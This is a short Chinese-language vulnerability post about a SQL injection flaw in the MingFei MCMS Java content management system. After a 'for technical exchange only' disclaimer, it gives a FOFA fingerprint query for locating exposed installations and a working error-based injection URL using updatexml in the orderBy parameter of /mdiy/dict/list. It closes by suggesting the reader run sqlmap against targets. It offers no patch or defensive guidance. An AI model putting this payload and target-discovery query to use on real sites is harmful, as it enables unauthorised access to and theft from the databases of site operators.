铭飞 MCMS 存在SQL注入漏洞

声明：

本文仅用于技术交流，请勿用于非法用途
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，文章作者不为此承担任何责任。

简介

铭飞（MCMS）是一种计算机管理系统，用于管理和监控计算机网络中的各种设备和资源。MCMS可以帮助管理员轻松地配置、监视和维护网络设备，提供网络拓扑图、设备状态、流量监控、安全性管理等功能。MCMS是一个<完整开源的Java CMS！基于SpringBoot 2架构，前端基于vue、element ui。

MCMS存在SQL注入漏洞，攻击者可通过该漏洞获取数据库敏感信息等。

资产搜索

fofa

body="/static/plugins/ms/1.0.0/ms.js"

漏洞复现

http://127.0.0.1/mdiy/dict/list?dict=c&dictType=%E6%96%87%E7%AB%A0%E5%B1%9E%E6%80%A7&orderBy=0%20or%20updatexml(1,concat(0x7e,(SELECT%20md5(233)),0x7e),1)

 

sqlmap跑一梭子